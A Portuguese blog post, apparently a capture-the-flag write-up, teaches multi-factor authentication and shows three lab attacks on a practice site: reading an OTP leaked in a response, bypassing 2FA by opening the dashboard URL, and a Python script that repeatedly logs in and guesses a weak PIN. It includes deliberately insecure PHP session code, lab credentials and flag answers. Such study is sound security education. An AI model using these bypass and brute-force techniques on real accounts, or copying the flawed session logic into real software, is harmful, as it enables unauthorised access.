Post

Multi-Factor Authentication

Multi-Factor Authentication

Introdução

Multi-Factor Authentication (MFA) tem uma papel importante em aplicações modernas, adicionando uma camada extra de proteção contra ataques. MFA utiliza diferentes combinações, por exemplo:

  • Senha.
  • Algo que você tem (celular).
  • Algo que você possui (biometria).

O objetivo da aula é entender melhor, os conceitos de MFA, como também sua importância no fortalecimento da segurança. Além de explorar diferentes tipos de fatores de autenticação utilizando MFA, ao final da aula teremos um melhor entendimento sobre essa tecnologia, através de estudo em cenários práticos onde o MFA é implementado para proteger informações sensíveis.

Como MFA funciona

É importante saber que o 2FA (segundo fator de autenticação) faz parte do MFA, quando dizemos MFA estamos nos referindo ao processo de autenticação, que solicita dois ou mais fatores para verificar a identidade.

Tipo de fator de autenticação

MFA combina dois os mais tipos de credenciais, para realizar a autenticação, são eles:

  • Conhecimento: senha, PIN, ou outra coisa que você lembra.
  • Posse: smartcard, celular com app de autenticação, etc.
  • Herança: biometrica, íris, impressões digitais.
  • Localização: geolocalização, IP de origem.
  • Comportamento: aplicação analisa o comportamento do usuário, para restringir interações de bot.

2FA utiliza dois tipos de fatores, dos citados acima, todo 2FA é um MFA, porém nem todo MFA é um 2FA.

Tipos de 2FA

2FA pode utilizar vários mecanismos para garantir que cada fator de autenticação forneça uma camada de segurança robusta. Alguns dos métodos mais comuns incluem:

  • Time-Based One Time Passwords (TOTP): senhas temporárias que são trocadas a cada 30 segundos ou mais.
  • Push Notifications: aplicativos como DUO ou Google Prompt enviam uma solicitação de login para celular.
  • SMS: a maioria dos aplicativos utilizam esse método, o sistema envia uma mensagem de texto com um código temporário para o número de celular do usuário.
  • Hardware Tokens: dispositivos com YubiKeys geram um one-time passcode ou utilizam autenticação por NFC.

Acesso Condicional

O acesso condicional é normalmente usado por empresas para ajustar os requisitos de autenticação com base em diferentes contextos. É como uma árvore de decisão que aciona verificações de segurança extras dependendo de certas condições. Por exemplo:

Baseado na Localização

Se o usuário está acessando o sistema, do local habitual que já acessa, é solicitado somente as credenciais de acesso. Caso esteja em algum outro local, o sistema pode solicitar outras verificações: OTP ou biometria .

Baseado em Tempo

Durante um acesso em horário regular de trabalho, o sistema pode solicitar apenas as credenciais de acesso. Em horário fora do expediente, pode ser adicionado uma cama extra de segurança, como por exemplo: OTP ou tokens de segurança.

Análise por Comportamento

Suponha que o comportamento de um usuário mude repentinamente, como se ele começasse a acessar dados que normalmente não visualiza ou acessa em horários estranhos. Nesse caso, o sistema pode pedir autenticação adicional para confirmar que é realmente ele.

Adoção Global e Impulso Regulatório

A adoção do MFA está se expandindo rapidamente em vários setores devido à sua eficácia na proteção contra muitas ameaças comuns de segurança, incluindo phishing, engenharia social e ataques baseados em senha. Governos e indústrias em todo o mundo estão reconhecendo a importância do MFA e estão começando a exigir seu uso por meio de várias estruturas regulatórias. Por exemplo, os setores financeiro e de saúde agora estão implementando requisitos rigorosos de MFA para cumprir com regulamentações como GDPR na Europa, HIPAA nos Estados Unidos e PCI-DSS para sistemas de pagamento globalmente.

Pergunta

When logging in to the application, you receive an SMS on your phone containing the OTP. What authentication factor is this?
Resposta:Something you have

Implementações e Aplicações

A autenticação multifator (MFA) é agora um fator importante para manter nossas atividades online e offline protegidas de agentes de ameaças

MFA Bancos

Os bancos lidam com informações e transações incrivelmente sensíveis todos os dias. Ao usar o MFA, os bancos podem proteger as informações pessoais e financeiras dos usuários contra roubo cibernético, fraude e outras ameaças online. Normalmente, os bancos pedem que você insira uma senha (algo que você sabe) antes de passar para uma segunda camada de segurança, que é um código enviado por SMS ou gerado por um aplicativo no seu telefone (algo que você tem). Dessa forma, mesmo que alguém tenha sua senha, ele ainda precisará dessa informação extra para acessar sua conta ou concluir uma transação.

MFA em Saúde

Na área da saúde, devido a regulamentações como a HIPAA nos EUA, a MFA garante que os registros de pacientes e informações pessoais de saúde sejam acessíveis apenas por pessoas autorizadas. Por exemplo, para acessar sistemas sensíveis como registros eletrônicos de saúde (EHRs), os provedores de saúde podem exigir que um médico use um crachá de segurança (algo que eles têm) e uma digitalização de impressão digital (algo que eles são). Isso garante que apenas aqueles com as credenciais corretas possam visualizar ou alterar os dados do paciente.

MFA em TI Corporativa

Com o número crescente de ataques cibernéticos e violações de dados, os departamentos de TI no mundo corporativo estão sob intensa pressão para proteger dados comerciais confidenciais e manter a integridade do sistema. O MFA ajuda a mitigar o risco de acesso não autorizado que pode levar ao roubo de dados, espionagem ou sabotagem. Em um ambiente corporativo, o MFA é normalmente usado ao acessar redes, bancos de dados e serviços de nuvem da empresa. Os funcionários podem primeiro fazer login com suas credenciais corporativas (algo que eles sabem) e, em seguida, verificar sua identidade com um código enviado para o telefone fornecido pela empresa (algo que eles têm) ou por meio de verificação biométrica (algo que eles são). Dessa forma, mesmo que alguém tente atacar seu sistema, eles encontrarão um obstáculo sem o segundo fator.

Pergunta

Is MFA an important factor in keeping our online and offline activities safe from threat actors? (yea/nay)
Resposta:yea

Vulnerabilidades comuns em MFA

Fraqueza no Algoritmo de Geração do OTP

A segurança de uma Senha Única (OTP) é tão forte quanto o algoritmo usado para criá-la. Se o algoritmo for fraco ou muito previsível, ele pode facilitar o trabalho do invasor tentando adivinhar a OTP.

Aplicativo Vazando o Token 2FA.

Devido à codificação insegura, alguns aplicativos também podem vazar o token 2FA na resposta. Um cenário comum é quando um usuário, após o login, chega à página 2FA, o aplicativo acionará uma solicitação XHR para um endpoint que emite o OTP. Às vezes, essa solicitação XHR retorna o OTP de volta para o usuário dentro da resposta HTTP.

Brute Forcing em OTP

Embora OTPs sejam projetados para uso único, eles não são imunes a ataques de força bruta. Se um invasor puder fazer suposições ilimitadas, ele pode eventualmente obter o OTP correto, especialmente se o OTP não estiver bem protegido por medidas de segurança adicionais.

Falta de limitação de taxa

Sem limitação de taxa adequada, um aplicativo fica aberto a invasores para continuar tentando diferentes OTPs sem dificuldade. Se um invasor puder enviar vários palpites em um curto período de tempo, isso aumenta a probabilidade de que o invasor consiga obter o OTP correto.

Uso do Evilginx

Evilginx é uma ferramenta que é tipicamente usada red teams. Como pode ser usada para executar ataques de phishing sofisticados, efetivamente ignorando a Autenticação Multifator (MFA). Ela opera como um proxy man-in-the-middle que pode interceptar e redirecionar OTPs destinados a usuários legítimos.

Pergunta

What can be implemented to help prevent brute-forcing OTPs?
Resposta: rate limiting

Vazamento de OTP - Prática

Vazamento de token OTP em uma resposta XHR (XMLHttpRequest) ocorre devido a uma implementação incorreta no 2FA ou codificação insegura. Algumas razões comuns por que isso ocorre são:

Validação Server-Side ou retorno de dados sensíveis

Em alguns aplicativos mal projetados, o servidor valida o OTP e, em vez de apenas confirmar o sucesso ou a falha, ele retorna o próprio OTP na resposta. Isso geralmente é feito de forma não intencional, como parte de depuração, registro ou práticas inadequadas de tratamento de respostas.

Falta de práticas de segurança adequadas

Os desenvolvedores podem ignorar as implicações de segurança de expor informações sensíveis como OTP nas respostas da API. Isso geralmente acontece quando os desenvolvedores estão focados em tornar o aplicativo funcional sem considerar como os invasores podem explorar essas respostas.

Depuração de informações deixadas na produção

Durante o processo de desenvolvimento e teste, os desenvolvedores deixam mensagem de depuração, tornado-o assim o desenvolvimento mais fácil para identificar possíveis falhas ou bug, o problema é que muitas vezes essas informações não são removidas no software que será usado em produção. Se essas respostas de depuração não forem removidas antes da implantação na produção, informações confidenciais, como OTPs, poderão ser expostas.

Exploração

Acessar o endereço: http://mfa.thm/labs/first

Credenciais de acesso:

UsernamePassword
thm@mail.thmtest123

Antes de realizar o login devemos abrir a ferramenta de desenvolvedor Web do navegador (F12). Na aba de “Network” iremos acompanhar todas requisições, depois que clicarmos em “Login”

Leak OTP

O token OTP é vazado na resposta HTTP, com isso conseguimos acessar a aplicação.

Flag lab1

What is the flag in the dashboard?
Resposta:904c8ac84e44f0ba942e9e11ee7037b8

Codificação Insegura - Prática

Falha lógica ou codificação insegura?

Em alguns aplicativos, lógica falha ou práticas de codificação inseguras podem levar a uma situação em que partes críticas do aplicativo (por exemplo, o painel) podem ser acessadas sem concluir totalmente o processo de autenticação. Especificamente, um invasor pode ser capaz de ignorar o mecanismo 2FA completamente e obter acesso ao painel ou outras áreas sensíveis sem inserir o OTP (One-Time Password). Isso geralmente ocorre devido ao gerenciamento de sessão inadequado, verificações de controle de acesso deficientes ou lógica implementada incorretamente que não consegue impor o requisito 2FA.

Exploração

Para autenticamos na aplicação usaremos as mesmas credenciais do exercício anterior. Laboratório:http://mfa.thm/labs/second/

OTP lab2

Após informar as credenciais, somos redirecionado para a verificação de OTP. Porém, se alterarmos nossa URL para dashboard conseguimos bypassed a verificação de segurança, dessa forma não precisamos informar o token. Exemplo: http://mfa.thm/labs/second/dashboard

Flag lab2

Se profundando no código

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Function that verifies the submitted 2FA token
function verify_2fa_code($code) {
    if (!isset($_SESSION['token']))
    return false;

    return $code === $_SESSION['token'];
}

# Function called in the /mfa page
if (verify_2fa_code($_POST['code'])) { #If successful, the user will be redirected to the dashboard.
    $_SESSION['authenticated'] = true; # Session that is used to check if the user completed the 2FA
    header('Location: ' . ROOT_DIR . '/dashboard');
    return;
}

No exemplo acima o usuário só pode ser redirecionado para a página dashboardapós informar o código correto do 2FA.

No exemplo abaixo, não é feito as devidas verificações, após o usuário autenticar na aplicação com e-maile senha, já possível acessar a dashboard sem o 2FA.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function authenticate($email, $password){
  $pdo = get_db_connection();
  $stmt = $pdo->prepare("SELECT `password` FROM users WHERE email = :email");
  $stmt->execute(['email' => $email]);
  $user = $stmt->fetch(PDO::FETCH_ASSOC);

  return $user && password_verify($password, $user['password']);
}

if (authenticate($email, $password)) {
    $_SESSION['authenticated'] = true; # This flag should only be issued after the MFA completion
    $_SESSION['email'] = $_POST['email'];
    header('Location: ' . ROOT_DIR . '/mfa');
    return;
}

Para remediar essa vulnerabilidade, o cookie ou sessão que é usado em verificações de autenticação deve ser dividido em duas partes. A primeira parte é a que define a sessão após a verificação bem-sucedida do nome de usuário e senha; o único propósito desta sessão é enviar um token 2FA. A segunda sessão deve ser somente após o OTP ser validado.

Exemplo de código

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
// Parte 1: Sessão para verificar o nome de usuário e a senha
session_start();
$_SESSION['auth'] = 'authenticated_user'; // Sessão após a verificação bem-sucedida do nome de usuário e senha
setcookie('auth_session', session_id(), time() + 3600, '/', 'example.com', true, true);

// Verificação 2FA
if (verify_2fa_code($_POST['2fa_code'])) {
    // Parte 2: Sessão após a validação do OTP
    $_SESSION['mfa'] = 'mfa_validated';
    setcookie('mfa_session', session_id(), time() + 3600, '/', 'example.com', true, true);
    header('Location: ' . ROOT_DIR . '/dashboard');
    exit;
} else {
    echo "Token 2FA inválido.";
}
?>

What is the flag in the dashboard?
Resposta:87880e9d27001affdff90989f351c46

Vencendo o recurso de logout automático

Em alguns aplicativos, falhar no desafio 2FA pode fazer com que o aplicativo reverta o usuário de volta para a primeira parte do processo de autenticação (ou seja, o login inicial com nome de usuário e senha). Esse comportamento geralmente ocorre devido a mecanismos de segurança projetados para evitar ataques de força bruta na parte 2FA do aplicativo. O aplicativo pode forçar o usuário a se autenticar novamente para garantir que a pessoa que tenta fazer login seja de fato o usuário legítimo e não um invasor tentando adivinhar o OTP.

Razões comuns para esse comportamento

Invalidação de Sessão

Ao falhar no desafio 2FA, o aplicativo pode invalidar a sessão do usuário como medida de segurança, forçando o usuário a iniciar o processo de autenticação do zero.

Políticas de limitação de taxa e bloqueio

Para evitar que invasores tentem repetidamente ignorar a 2FA, o aplicativo pode ter mecanismos de limitação de taxa ou bloqueio que são acionados após um número definido de tentativas malsucedidas, revertendo o usuário para a etapa inicial de login.

Redirecionamento orientado à segurança

Alguns aplicativos são projetados para redirecionar os usuários de volta à página de login após várias tentativas malsucedidas de 2FA como uma medida de segurança adicional, garantindo que as credenciais do usuário sejam revalidadas antes de permitir outra tentativa de 2FA.

Automatização é a chave

Velocidade

Fazer login manualmente toda vez que você é desconectado é lento e tedioso. A automação pode fazer isso por você muito mais rápido.

Consistência

A automação evita erros que podem acontecer se você estiver fazendo as mesmas ações repetitivas várias vezes. É confiável.

Recuperando-se de logouts

Se o aplicativo fizer o logout após algumas tentativas malsucedidas, o script pode efetuar login novamente automaticamente e continuar tentando. Isso evita o incômodo de fazer isso manualmente todas as vezes.

Exploração

A aplicação efetua o logout automaticamente do usuário, se ele informar o token 2FA incorreto, essa aplicação gera 4 dígitos (PIN) toda vez que o usuário realiza o login.
Laboratório:http://mfa.thm/labs/third

Código que gera o PIN:

1
2
3
4
5
6
7
function generateToken()
{
    $token = strval(rand(1250, 1350));

    $_SESSION['token'] = $token;
    return 'success';
}

Vamos utilizar o script fornecido em aula, para adivinhar o PIN correto.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import requests

# Define the URLs for the login, 2FA process, and dashboard
login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'

# Define login credentials
credentials = {
    'email': 'thm@mail.thm',
    'password': 'test123'
}

# Define the headers to mimic a real browser
headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://mfa.thm',
    'Connection': 'close',
    'Referer': 'http://mfa.thm/labs/third/mfa',
    'Upgrade-Insecure-Requests': '1'
}

# Function to check if the response contains the login page
def is_login_successful(response):
    return "User Verification" in response.text and response.status_code == 200

# Function to handle the login process
def login(session):
    response = session.post(login_url, data=credentials, headers=headers)
    return response
  
# Function to handle the 2FA process
def submit_otp(session, otp):
    # Split the OTP into individual digits
    otp_data = {
        'code-1': otp[0],
        'code-2': otp[1],
        'code-3': otp[2],
        'code-4': otp[3]
    }
    
    response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False)  # Disable auto redirects
    print(f"DEBUG: OTP submission response status code: {response.status_code}")
    
    return response

# Function to check if the response contains the login page
def is_login_page(response):
    return "Sign in to your account" in response.text or "Login" in response.text

# Function to attempt login and submit the hardcoded OTP until success
def try_until_success():
    otp_str = '1337'  # Hardcoded OTP

    while True:  # Keep trying until success
        session = requests.Session()  # Create a new session object for each attempt
        login_response = login(session)  # Log in before each OTP attempt
        
        if is_login_successful(login_response):
            print("Logged in successfully.")
        else:
            print("Failed to log in.")
            continue

        print(f"Trying OTP: {otp_str}")

        response = submit_otp(session, otp_str)

        # Check if the response is the login page (unsuccessful OTP)
        if is_login_page(response):
            print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
            continue  # Retry login and OTP submission

        # Check if the response is a redirect (status code 302)
        if response.status_code == 302:
            location_header = response.headers.get('Location', '')
            print(f"Session cookies: {session.cookies.get_dict()}")

            # Check if it successfully bypassed 2FA and landed on the dashboard
            if location_header == '/labs/third/dashboard':
                print(f"Successfully bypassed 2FA with OTP: {otp_str}")
                return session.cookies.get_dict()  # Return session cookies after successful bypass
            elif location_header == '/labs/third/':
                print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
            else:
                print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
        else:
            print(f"Received status code {response.status_code}. Retrying...")

# Start the attack to try until success
try_until_success()

O script basicamente automatiza o processo de teste de PIN, para cada tentativa OTP uma nova sessão é criada, usando requests.Session(), isso garante que a página é atualizada, será feito o login com as credenciais do usuário, e realizado uma nova tentativa para descobrir o OTP.

shell exploit

Agora com nosso cookie autenticado, iremos utiliza-lo no navegador.

Flag lab 3

What is the flag in the dashboard?
Resposta:20548e076dbb9ba30c9d94ae4aceb38e

Conclusão

Nesta aula, obtivemos um entendimento mais claro sobre MFA e as diferenças entre MFA e 2FA. Abordamos os conceitos dos diferentes tipos de fatores de autenticação existentes e em quais cenários eles são normalmente utilizados. Além disso, foi apresentado, em aula prática, os tipos de vulnerabilidades comuns e as melhores práticas para mitigá-las.

Esta postagem está licenciada sob CC BY 4.0 pelo autor.